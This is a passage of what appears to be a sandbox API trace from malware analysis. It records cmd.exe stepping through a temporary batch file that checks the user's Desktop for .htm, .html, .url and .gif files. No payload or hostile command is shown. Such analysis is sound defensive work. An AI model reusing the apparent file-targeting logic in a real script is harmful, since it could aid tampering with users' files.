() returned 0x4e0000 [0039.853] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.853] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.853] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0039.853] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.853] SetFilePointer (in: hFile=0x74, lDistanceToMove=432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0039.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n\r\n") returned 2 [0039.853] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.853] GetFileType (hFile=0x74) returned 0x1 [0039.853] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.853] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0039.853] GetProcessHeap () returned 0x4e0000 [0039.853] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.854] GetProcessHeap () returned 0x4e0000 [0039.854] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.854] _tell (_FileHandle=3) returned 432 [0039.854] _close (_FileHandle=3) returned 0 [0039.854] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.854] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.854] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.854] SetFilePointer (in: hFile=0x74, lDistanceToMove=432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0039.854] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.854] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0039.854] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.854] SetFilePointer (in: hFile=0x74, lDistanceToMove=459, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0039.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0039.855] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.855] GetFileType (hFile=0x74) returned 0x1 [0039.855] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.855] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0039.855] GetProcessHeap () returned 0x4e0000 [0039.855] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.855] GetProcessHeap () returned 0x4e0000 [0039.855] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.855] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.855] GetProcessHeap () returned 0x4e0000 [0039.855] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.855] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.855] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.855] GetProcessHeap () returned 0x4e0000 [0039.855] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.855] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.855] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.855] GetProcessHeap () returned 0x4e0000 [0039.855] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.855] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.855] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.855] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0039.855] GetProcessHeap () returned 0x4e0000 [0039.855] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0039.856] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0039.856] GetProcessHeap () returned 0x4e0000 [0039.856] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0039.856] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.856] GetProcessHeap () returned 0x4e0000 [0039.856] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.856] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0039.857] _tell (_FileHandle=3) returned 459 [0039.857] _close (_FileHandle=3) returned 0 [0039.857] GetFullPathNameW (in: lpFileName="*.html", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.html", lpFilePart=0x41eea8*="*.html") returned 0x2c [0039.857] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.857] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.html", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.857] GetLastError () returned 0x2 [0039.857] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.857] GetLastError () returned 0x6 [0039.857] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.857] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.858] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.858] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.858] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.858] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.858] SetConsoleInputExeNameW () returned 0x1 [0039.858] GetConsoleOutputCP () returned 0x1b5 [0039.858] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.858] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.859] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.859] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.859] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.859] SetFilePointer (in: hFile=0x74, lDistanceToMove=459, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.859] GetProcessHeap () returned 0x4e0000 [0039.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.860] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.860] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0039.860] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.860] SetFilePointer (in: hFile=0x74, lDistanceToMove=461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0039.860] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.html goto html\r\n") returned 2 [0039.860] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.860] GetFileType (hFile=0x74) returned 0x1 [0039.860] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.860] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0039.860] GetProcessHeap () returned 0x4e0000 [0039.860] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.860] GetProcessHeap () returned 0x4e0000 [0039.860] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.860] _tell (_FileHandle=3) returned 461 [0039.860] _close (_FileHandle=3) returned 0 [0039.860] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.861] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.861] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.861] SetFilePointer (in: hFile=0x74, lDistanceToMove=461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0039.861] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.861] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0039.861] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.861] SetFilePointer (in: hFile=0x74, lDistanceToMove=486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0039.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0039.861] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.861] GetFileType (hFile=0x74) returned 0x1 [0039.861] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.861] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0039.861] GetProcessHeap () returned 0x4e0000 [0039.861] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.861] GetProcessHeap () returned 0x4e0000 [0039.861] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.861] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.861] GetProcessHeap () returned 0x4e0000 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.862] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.862] GetProcessHeap () returned 0x4e0000 [0039.862] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.862] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.862] GetProcessHeap () returned 0x4e0000 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.862] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.862] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.862] GetProcessHeap () returned 0x4e0000 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.862] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.862] GetProcessHeap () returned 0x4e0000 [0039.862] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.862] GetProcessHeap () returned 0x4e0000 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.863] _tell (_FileHandle=3) returned 486 [0039.863] _close (_FileHandle=3) returned 0 [0039.863] GetFullPathNameW (in: lpFileName="*.url", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.url", lpFilePart=0x41eea8*="*.url") returned 0x2b [0039.863] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.863] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.url", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.864] GetLastError () returned 0x2 [0039.864] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.864] GetLastError () returned 0x6 [0039.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.864] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.864] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.865] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.865] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.865] SetConsoleInputExeNameW () returned 0x1 [0039.865] GetConsoleOutputCP () returned 0x1b5 [0039.865] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.865] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.865] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.865] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.865] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.865] SetFilePointer (in: hFile=0x74, lDistanceToMove=486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.866] GetProcessHeap () returned 0x4e0000 [0039.866] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.866] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.866] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0039.866] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.867] SetFilePointer (in: hFile=0x74, lDistanceToMove=511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0039.867] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n\r\n") returned 25 [0039.867] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.867] GetFileType (hFile=0x74) returned 0x1 [0039.867] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.867] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0039.867] GetProcessHeap () returned 0x4e0000 [0039.867] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.867] GetProcessHeap () returned 0x4e0000 [0039.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.867] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.867] GetProcessHeap () returned 0x4e0000 [0039.867] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.867] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.867] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.867] GetProcessHeap () returned 0x4e0000 [0039.867] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.867] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.867] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.867] GetProcessHeap () returned 0x4e0000 [0039.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.868] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.868] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.868] GetProcessHeap () returned 0x4e0000 [0039.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.868] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.868] GetProcessHeap () returned 0x4e0000 [0039.868] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.868] GetProcessHeap () returned 0x4e0000 [0039.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.869] _tell (_FileHandle=3) returned 511 [0039.869] _close (_FileHandle=3) returned 0 [0039.869] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFilePart=0x41eea8*="*.gif") returned 0x2b [0039.869] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.869] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.869] GetLastError () returned 0x2 [0039.869] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.869] GetLastError () returned 0x6 [0039.869] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.870] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.870] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.870] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.870] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.870] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.870] SetConsoleInputExeNameW () returned 0x1 [0039.870] GetConsoleOutputCP () returned 0x1b5 [0039.871] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.871] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.871] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.871] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.871] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.871] SetFilePointer (in: hFile=0x74, lDistanceToMove=511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0039.871] GetProcessHeap () returned 0x4e0000 [0039.871] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.871] GetProcessHeap () returned 0x4e0000 [0039.871] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.871] GetProcessHeap () returned 0x4e0000 [0039.871] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.871] GetProcessHeap () returned 0x4e0000 [0039.871] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.871] GetProcessHeap () returned 0x4e0000 [0039.871] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.871] GetProcessHeap () returned 0x4e0000 [0039.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.872] GetProcessHeap () returned 0x4e0000 [0039.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.872] GetProcessHeap () returned 0x4e0000 [0039.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.872] GetProcessHeap () returned 0x4e0000 [0039.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.872] 